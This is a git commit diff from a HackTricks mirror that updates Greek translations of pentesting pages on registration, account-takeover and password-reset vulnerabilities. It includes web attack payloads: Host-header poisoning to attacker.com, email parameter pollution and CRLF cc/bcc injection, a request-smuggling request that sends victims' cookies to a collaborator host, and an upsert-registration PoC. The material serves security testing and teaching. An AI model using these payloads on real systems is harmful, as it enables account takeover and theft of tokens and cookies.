mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's
This commit is contained in:
parent
3e9b33aedc
commit
5a55c0caa7
@ -1,77 +1,79 @@
|
|||||||
# Ευπάθειες Εγγραφής & Κατάληψης
|
# Registration & Takeover Vulnerabilities
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Κατάληψη Εγγραφής
|
## Registration Takeover
|
||||||
|
|
||||||
### Διπλή Εγγραφή
|
### Duplicate Registration
|
||||||
|
|
||||||
- Προσπαθήστε να δημιουργήσετε χρησιμοποιώντας ένα υπάρχον όνομα χρήστη
|
- Προσπάθησε να δημιουργήσεις χρησιμοποιώντας ένα υπάρχον username
|
||||||
- Ελέγξτε ποικιλία στο email:
|
- Έλεγξε παραλλαγές του email:
|
||||||
- uppsercase
|
- uppercase
|
||||||
- \+1@
|
- \+1@
|
||||||
- προσθέστε κάποιο τελεία στο email
|
- πρόσθεσε μια dot στο email
|
||||||
- ειδικούς χαρακτήρες στο όνομα email (%00, %09, %20)
|
- ειδικοί χαρακτήρες στο όνομα του email (%00, %09, %20)
|
||||||
- Βάλτε μαύρους χαρακτήρες μετά το email: `test@test.com a`
|
- Βάλε κενά χαρακτήρες μετά το email: `test@test.com a`
|
||||||
- victim@gmail.com@attacker.com
|
- victim@gmail.com@attacker.com
|
||||||
- victim@attacker.com@gmail.com
|
- victim@attacker.com@gmail.com
|
||||||
|
|
||||||
### Αριθμητική Καταμέτρηση Ονομάτων Χρηστών
|
### Username Enumeration
|
||||||
|
|
||||||
Ελέγξτε αν μπορείτε να καταλάβετε πότε ένα όνομα χρήστη έχει ήδη εγγραφεί μέσα στην εφαρμογή.
|
Ελέγξτε αν μπορείτε να διαπιστώσετε πότε ένα username έχει ήδη καταχωρηθεί στην εφαρμογή.
|
||||||
|
|
||||||
### Πολιτική Κωδικών Πρόσβασης
|
### Password Policy
|
||||||
|
|
||||||
Δημιουργώντας έναν χρήστη ελέγξτε την πολιτική κωδικών πρόσβασης (ελέγξτε αν μπορείτε να χρησιμοποιήσετε αδύναμους κωδικούς).\
|
Κατά τη δημιουργία χρήστη έλεγξε την πολιτική password (έλεγξε αν μπορείς να χρησιμοποιήσεις αδύναμα passwords).\
|
||||||
Σε αυτή την περίπτωση μπορείτε να προσπαθήσετε να κάνετε bruteforce τα διαπιστευτήρια.
|
Σε αυτή την περίπτωση μπορείς να δοκιμάσεις bruteforce των credentials.
|
||||||
|
|
||||||
### SQL Injection
|
### SQL Injection
|
||||||
|
|
||||||
[**Ελέγξτε αυτή τη σελίδα** ](sql-injection/index.html#insert-statement)για να μάθετε πώς να προσπαθήσετε καταλήψεις λογαριασμών ή να εξάγετε πληροφορίες μέσω **SQL Injections** σε φόρμες εγγραφής.
|
[**Check this page** ](sql-injection/index.html#insert-statement) για να μάθεις πώς να επιχειρήσεις account takeovers ή να εξάγεις πληροφορίες μέσω **SQL Injections** σε φόρμες εγγραφής.
|
||||||
|
|
||||||
|
### Oauth Takeovers
|
||||||
|
|
||||||
### Oauth Καταλήψεις
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
oauth-to-account-takeover.md
|
oauth-to-account-takeover.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Ευπάθειες SAML
|
### SAML Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
saml-attacks/
|
saml-attacks/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Αλλαγή Email
|
### Change Email
|
||||||
|
|
||||||
Όταν εγγραφείτε προσπαθήστε να αλλάξετε το email και ελέγξτε αν αυτή η αλλαγή επικυρώνεται σωστά ή αν μπορείτε να την αλλάξετε σε αυθαίρετα emails.
|
Όταν είσαι εγγεγραμμένος προσπάθησε να αλλάξεις το email και έλεγξε αν αυτή η αλλαγή επαληθεύεται σωστά ή αν μπορείς να το αλλάξεις σε αυθαίρετα emails.
|
||||||
|
|
||||||
### Περισσότεροι Έλεγχοι
|
### More Checks
|
||||||
|
|
||||||
- Ελέγξτε αν μπορείτε να χρησιμοποιήσετε **disposable emails**
|
- Έλεγξε αν μπορείς να χρησιμοποιήσεις **disposable emails**
|
||||||
- **Μακρύς** **κωδικός** (>200) οδηγεί σε **DoS**
|
- Πολύ μεγάλο **password** (>200) οδηγεί σε **DoS**
|
||||||
- **Ελέγξτε τα όρια ρυθμού στη δημιουργία λογαριασμών**
|
- **Check rate limits on account creation**
|
||||||
- Χρησιμοποιήστε username@**burp_collab**.net και αναλύστε το **callback**
|
- Χρησιμοποίησε username@**burp_collab**.net και ανέλυσε το **callback**
|
||||||
|
|
||||||
## **Κατάληψη Επαναφοράς Κωδικού Πρόσβασης**
|
## **Password Reset Takeover**
|
||||||
|
|
||||||
### Διαρροή Token Επαναφοράς Κωδικού μέσω Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||||
|
|
||||||
1. Ζητήστε επαναφορά κωδικού στο email σας
|
1. Ζήτησε password reset στη διεύθυνση email σου
|
||||||
2. Κάντε κλικ στον σύνδεσμο επαναφοράς κωδικού
|
2. Κάνε κλικ στον σύνδεσμο password reset
|
||||||
3. Μην αλλάξετε τον κωδικό
|
3. Μην αλλάξεις το password
|
||||||
4. Κάντε κλικ σε οποιαδήποτε 3η ιστοσελίδα (π.χ.: Facebook, twitter)
|
4. Κάνε κλικ σε οποιονδήποτε 3rd party ιστότοπο (π.χ. Facebook, twitter)
|
||||||
5. Παρεμβάλετε το αίτημα στο Burp Suite proxy
|
5. Intercept το request στο Burp Suite proxy
|
||||||
6. Ελέγξτε αν η κεφαλίδα referer διαρρέει το token επαναφοράς κωδικού.
|
6. Έλεγξε αν ο referer header is leaking το password reset token.
|
||||||
|
|
||||||
### Δηλητηρίαση Επαναφοράς Κωδικού <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||||
|
|
||||||
1. Παρεμβάλετε το αίτημα επαναφοράς κωδικού στο Burp Suite
|
1. Intercept το password reset request στο Burp Suite
|
||||||
2. Προσθέστε ή επεξεργαστείτε τις παρακάτω κεφαλίδες στο Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
2. Πρόσθεσε ή επεξεργάσου τα παρακάτω headers στο Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||||
3. Προωθήστε το αίτημα με την τροποποιημένη κεφαλίδα\
|
3. Προώθησε (forward) το request με το τροποποιημένο header\
|
||||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||||
4. Αναζητήστε μια διεύθυνση URL επαναφοράς κωδικού βασισμένη στην _κεφαλίδα host_ όπως : `https://attacker.com/reset-password.php?token=TOKEN`
|
4. Ψάξε για ένα password reset URL βασισμένο στο _host header_ όπως : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||||
|
|
||||||
### Επαναφορά Κωδικού μέσω Παραμέτρου Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||||
```bash
|
```bash
|
||||||
# parameter pollution
|
# parameter pollution
|
||||||
email=victim@mail.com&email=hacker@mail.com
|
email=victim@mail.com&email=hacker@mail.com
|
||||||
@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
|
|||||||
email=victim@mail.com%20hacker@mail.com
|
email=victim@mail.com%20hacker@mail.com
|
||||||
email=victim@mail.com|hacker@mail.com
|
email=victim@mail.com|hacker@mail.com
|
||||||
```
|
```
|
||||||
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
### IDOR σε παραμέτρους API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||||
|
|
||||||
1. Ο επιτιθέμενος πρέπει να συνδεθεί με τον λογαριασμό του και να μεταβεί στη λειτουργία **Αλλαγή κωδικού**.
|
1. Ο επιτιθέμενος πρέπει να συνδεθεί με τον λογαριασμό του και να μεταβεί στη λειτουργία **Αλλαγή κωδικού**.
|
||||||
2. Ξεκινήστε το Burp Suite και παγιδεύστε το αίτημα.
|
2. Ξεκινήστε το Burp Suite και Intercept το αίτημα\
|
||||||
3. Στείλτε το στην καρτέλα επαναλήπτη και επεξεργαστείτε τις παραμέτρους: User ID/email\
|
3. Στείλτε το στην καρτέλα repeater και επεξεργαστείτε τις παραμέτρους : User ID/email\
|
||||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||||
|
|
||||||
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
### Αδύναμο token επαναφοράς κωδικού <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||||
|
|
||||||
Το token επαναφοράς κωδικού πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.\
|
Το password reset token πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.\
|
||||||
Προσπαθήστε να προσδιορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο, σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να μαντευτεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιηθούν από τον αλγόριθμο.
|
Προσπαθήστε να καθορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο — σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να εικαστεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιούνται από τον αλγόριθμο.
|
||||||
|
|
||||||
- Timestamp
|
- Χρονική σήμανση (Timestamp)
|
||||||
- UserID
|
- UserID
|
||||||
- Email του χρήστη
|
- Email του χρήστη
|
||||||
- Όνομα και Επώνυμο
|
- Όνομα και Επώνυμο
|
||||||
- Ημερομηνία Γέννησης
|
- Ημερομηνία γέννησης
|
||||||
- Κρυπτογραφία
|
- Κρυπτογραφία
|
||||||
- Μόνο αριθμοί
|
- Μόνο αριθμοί
|
||||||
- Μικρή ακολουθία token (χαρακτήρες μεταξύ \[A-Z,a-z,0-9])
|
- Μικρή ακολουθία token (χαρακτήρες μεταξύ \[A-Z,a-z,0-9])
|
||||||
- Επαναχρησιμοποίηση token
|
- Επανάχρηση token
|
||||||
- Ημερομηνία λήξης token
|
- Ημερομηνία λήξης token
|
||||||
|
|
||||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||||
|
|
||||||
1. Προκαλέστε ένα αίτημα επαναφοράς κωδικού χρησιμοποιώντας το API/UI για μια συγκεκριμένη διεύθυνση email π.χ: test@mail.com
|
1. Trigger ένα αίτημα επαναφοράς κωδικού χρησιμοποιώντας το API/UI για ένα συγκεκριμένο email π.χ: test@mail.com
|
||||||
2. Εξετάστε την απάντηση του διακομιστή και ελέγξτε για `resetToken`
|
2. Εξετάστε την απάντηση του server και ελέγξτε για `resetToken`
|
||||||
3. Στη συνέχεια, χρησιμοποιήστε το token σε μια διεύθυνση URL όπως `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
3. Έπειτα χρησιμοποιήστε το token σε ένα URL όπως `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||||
|
|
||||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
### Επαναφορά κωδικού μέσω σύγκρουσης username <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||||
|
|
||||||
1. Εγγραφείτε στο σύστημα με ένα όνομα χρήστη ταυτόσημο με το όνομα χρήστη του θύματος, αλλά με κενά πριν και/ή μετά το όνομα χρήστη. π.χ: `"admin "`
|
1. Εγγραφείτε στο σύστημα με ένα username-identical στον χρήστη-θύμα, αλλά εισάγετε κενά πριν και/ή μετά το username. π.χ: `"admin "`
|
||||||
2. Ζητήστε μια επαναφορά κωδικού με το κακόβουλο όνομα χρήστη σας.
|
2. Ζητήστε επαναφορά κωδικού με το κακόβουλο username σας.
|
||||||
3. Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό του θύματος.
|
3. Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό του θύματος.
|
||||||
4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό.
|
4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό.
|
||||||
|
|
||||||
Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτήν την επίθεση.\
|
Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτήν την επίθεση.\
|
||||||
Δείτε: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
|
|
||||||
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
### Κατάληψη λογαριασμού μέσω Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||||
|
|
||||||
1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε ένα υποτομέα αν τα cookies είναι περιορισμένα στον γονικό τομέα: `*.domain.com`
|
1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε subdomain εάν τα cookies είναι scoped στο parent domain : `*.domain.com`
|
||||||
2. Διαρρεύστε το τρέχον **cookie συνεδρίας**
|
2. Leak τα τρέχοντα **sessions cookie**
|
||||||
3. Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie
|
3. Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie
|
||||||
|
|
||||||
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
### Κατάληψη λογαριασμού μέσω HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
1\. Χρησιμοποιήστε **smuggler** για να ανιχνεύσετε τον τύπο HTTP Request Smuggling (CL, TE, CL.TE)\
|
1\. Χρησιμοποιήστε **smuggler** για να εντοπίσετε τον τύπο του HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||||
2\. Δημιουργήστε ένα αίτημα που θα αντικαταστήσει το `POST / HTTP/1.1` με τα παρακάτω δεδομένα:\
|
2\. Δημιουργήστε ένα αίτημα το οποίο θα υπερχαράξει το `POST / HTTP/1.1` με τα ακόλουθα δεδομένα:\
|
||||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` με στόχο να ανακατευθύνετε τα θύματα στο burpcollab και να κλέψετε τα cookies τους\
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:` με στόχο να προκαλέσει open redirect τα θύματα προς burpcollab και να κλέψει τα cookies τους\
|
||||||
3\. Το τελικό αίτημα θα μπορούσε να μοιάζει με το εξής
|
3\. Το τελικό αίτημα θα μπορούσε να μοιάζει ως εξής
|
||||||
```
|
```
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Transfer-Encoding: chunked
|
Transfer-Encoding: chunked
|
||||||
@ -151,18 +153,18 @@ Content-Length: 83
|
|||||||
GET http://something.burpcollaborator.net HTTP/1.1
|
GET http://something.burpcollaborator.net HTTP/1.1
|
||||||
X: X
|
X: X
|
||||||
```
|
```
|
||||||
Hackerone αναφέρει την εκμετάλλευση αυτού του σφάλματος\
|
Αναφορές στο Hackerone που περιγράφουν την εκμετάλλευση αυτού του bug\
|
||||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||||
|
|
||||||
### Υποκατάληψη Λογαριασμού μέσω CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
### Κατάληψη Λογαριασμού μέσω CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||||
|
|
||||||
1. Δημιουργήστε ένα payload για το CSRF, π.χ: “HTML φόρμα με αυτόματη υποβολή για αλλαγή κωδικού”
|
1. Δημιουργήστε ένα payload για το CSRF, π.χ.: “HTML form with auto submit for a password change”
|
||||||
2. Στείλτε το payload
|
2. Στείλτε το payload
|
||||||
|
|
||||||
### Υποκατάληψη Λογαριασμού μέσω JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
### Κατάληψη Λογαριασμού μέσω JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||||
|
|
||||||
Το JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη.
|
JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη.
|
||||||
|
|
||||||
- Επεξεργαστείτε το JWT με άλλο User ID / Email
|
- Επεξεργαστείτε το JWT με άλλο User ID / Email
|
||||||
- Ελέγξτε για αδύναμη υπογραφή JWT
|
- Ελέγξτε για αδύναμη υπογραφή JWT
|
||||||
@ -172,8 +174,29 @@ Hackerone αναφέρει την εκμετάλλευση αυτού του σ
|
|||||||
hacking-jwt-json-web-tokens.md
|
hacking-jwt-json-web-tokens.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
## Εγγραφή-ως-Επαναφορά (Upsert on Existing Email)
|
||||||
|
|
||||||
|
Ορισμένοι signup handlers πραγματοποιούν upsert όταν το παρεχόμενο email υπάρχει ήδη. Αν το endpoint δέχεται ένα ελάχιστο body με email και password και δεν επιβάλλει επαλήθευση ιδιοκτησίας, η αποστολή του email του θύματος θα αντικαταστήσει το password του πριν την αυθεντικοποίηση.
|
||||||
|
|
||||||
|
- Discovery: συλλέξτε ονόματα endpoint από το bundled JS (ή mobile app traffic), στη συνέχεια fuzz-άρετε base paths όπως /parents/application/v4/admin/FUZZ χρησιμοποιώντας ffuf/dirsearch.
|
||||||
|
- Method hints: ένα GET που επιστρέφει μηνύματα όπως "Only POST request is allowed." συχνά υποδεικνύει το σωστό ρήμα και ότι αναμένεται JSON body.
|
||||||
|
- Minimal body observed in the wild:
|
||||||
|
```json
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
|
Παράδειγμα PoC:
|
||||||
|
```http
|
||||||
|
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||||
|
Host: www.target.tld
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
|
Επίπτωση: Full Account Takeover (ATO) χωρίς κανένα reset token, OTP, ή email verification.
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
|
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -1,12 +1,12 @@
|
|||||||
# Reset/Forgotten Password Bypass
|
# Παράκαμψη Επαναφοράς/Ξεχασμένου Κωδικού
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## **Password Reset Token leak Via Referrer**
|
## **Token επαναφοράς κωδικού Leak Via Referrer**
|
||||||
|
|
||||||
- Το HTTP referer header μπορεί να leak το password reset token αν συμπεριλαμβάνεται στο URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο μιας ιστοσελίδας τρίτου μέρους αφού ζητήσει επαναφορά κωδικού.
|
- Το HTTP referer header μπορεί να leak το token επαναφοράς κωδικού αν περιλαμβάνεται στο URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο ιστοτόπου τρίτου μετά από αίτημα επαναφοράς κωδικού.
|
||||||
- **Impact**: Δυνατή ανάληψη λογαριασμού μέσω Cross-Site Request Forgery (CSRF) attacks.
|
- **Επίπτωση**: Πιθανή ανάληψη λογαριασμού μέσω Cross-Site Request Forgery (CSRF).
|
||||||
- **Exploitation**: Για να ελέγξετε αν ένα password reset token leak στον referer header, **ζητήστε επαναφορά κωδικού** στο email σας και **κάντε κλικ στο reset link** που αποστέλλεται. **Μην αλλάξετε τον κωδικό σας** άμεσα. Αντίθετα, **μεταβείτε σε μια ιστοσελίδα τρίτου μέρους** (π.χ. Facebook ή Twitter) ενώ **αναχαιτίζετε τα requests με Burp Suite**. Ελέγξτε τα requests για να δείτε αν ο **referer header περιέχει το password reset token**, καθώς αυτό μπορεί να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
|
- **Εκμετάλλευση**: Για να ελέγξετε αν ένα token επαναφοράς κωδικού leak στο referer header, **ζητήστε επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον παρεχόμενο σύνδεσμο επαναφοράς**. **Μην αλλάξετε αμέσως τον κωδικό σας**. Αντίθετα, **πλοηγηθείτε σε έναν ιστότοπο τρίτου** (όπως Facebook ή Twitter) ενώ **intercepting the requests using Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν το **referer header περιέχει το token επαναφοράς κωδικού**, καθώς αυτό μπορεί να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
|
||||||
- **References**:
|
- **References**:
|
||||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||||
@ -14,18 +14,18 @@
|
|||||||
|
|
||||||
## **Password Reset Poisoning**
|
## **Password Reset Poisoning**
|
||||||
|
|
||||||
- Οι επιτιθέμενοι μπορούν να χειριστούν το Host header κατά τα password reset requests για να δείξουν το reset link σε κακόβουλο site.
|
- Οι επιτιθέμενοι μπορεί να χειριστούν το Host header κατά τα αιτήματα επαναφοράς κωδικού ώστε ο σύνδεσμος επαναφοράς να δείχνει σε κακόβουλο ιστότοπο.
|
||||||
- **Impact**: Οδηγεί σε πιθανή ανάληψη λογαριασμού με το leak των reset tokens στους επιτιθέμενους.
|
- **Επίπτωση**: Οδηγεί σε πιθανή ανάληψη λογαριασμού με leaking των reset tokens στους επιτιθέμενους.
|
||||||
- **Mitigation Steps**:
|
- **Βήματα μετριασμού**:
|
||||||
- Επικυρώστε το Host header έναντι μιας whitelist επιτρεπόμενων domains.
|
- Επαληθεύστε το Host header έναντι μιας whitelist επιτρεπόμενων domains.
|
||||||
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργείτε absolute URLs.
|
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργείτε απόλυτα URLs.
|
||||||
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||||
- **References**:
|
- **References**:
|
||||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||||
|
|
||||||
## **Password Reset By Manipulating Email Parameter**
|
## **Επαναφορά κωδικού με χειρισμό της παραμέτρου email**
|
||||||
|
|
||||||
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
|
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να αποπροσανατολίσουν τον σύνδεσμο επαναφοράς.
|
||||||
|
|
||||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας &
|
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας &
|
||||||
```php
|
```php
|
||||||
@ -33,146 +33,146 @@ POST /resetPassword
|
|||||||
[...]
|
[...]
|
||||||
email=victim@email.com&email=attacker@email.com
|
email=victim@email.com&email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Πρόσθεσε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας %20
|
- Πρόσθεσε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας %20
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com%20email=attacker@email.com
|
email=victim@email.com%20email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερο παράμετρο χρησιμοποιώντας |
|
- Προσθέστε attacker email ως δεύτερη παράμετρο χρησιμοποιώντας |
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com|email=attacker@email.com
|
email=victim@email.com|email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Προσθέστε το attacker e-mail ως δεύτερη παράμετρο χρησιμοποιώντας cc
|
- Προσθέστε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας cc
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Προσθέστε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας bcc
|
- Πρόσθεσε το attacker email ως δεύτερη παράμετρο, χρησιμοποιώντας bcc
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Προσθέστε attacker email ως δεύτερη παράμετρο χρησιμοποιώντας ,
|
- Προσθέστε το attacker email ως δεύτερη παράμετρο χρησιμοποιώντας ,
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld",email="attacker@mail.tld"
|
email="victim@mail.tld",email="attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Πρόσθεσε το attacker email ως δεύτερη παράμετρο στο json array
|
- Προσθέστε attacker email ως δεύτερη παράμετρο σε json array
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||||
```
|
```
|
||||||
- **Μέτρα μετριασμού**:
|
- **Βήματα αντιμετώπισης**:
|
||||||
- Αναλύστε και επικυρώστε σωστά τις παραμέτρους email στο server.
|
- Επεξεργαστείτε και επικυρώστε σωστά τις παραμέτρους email στο server.
|
||||||
- Χρησιμοποιήστε prepared statements ή parameterized queries για να αποτρέψετε injection attacks.
|
- Χρησιμοποιήστε prepared statements ή parameterized queries για να αποτρέψετε injection attacks.
|
||||||
- **Αναφορές**:
|
- **Αναφορές**:
|
||||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
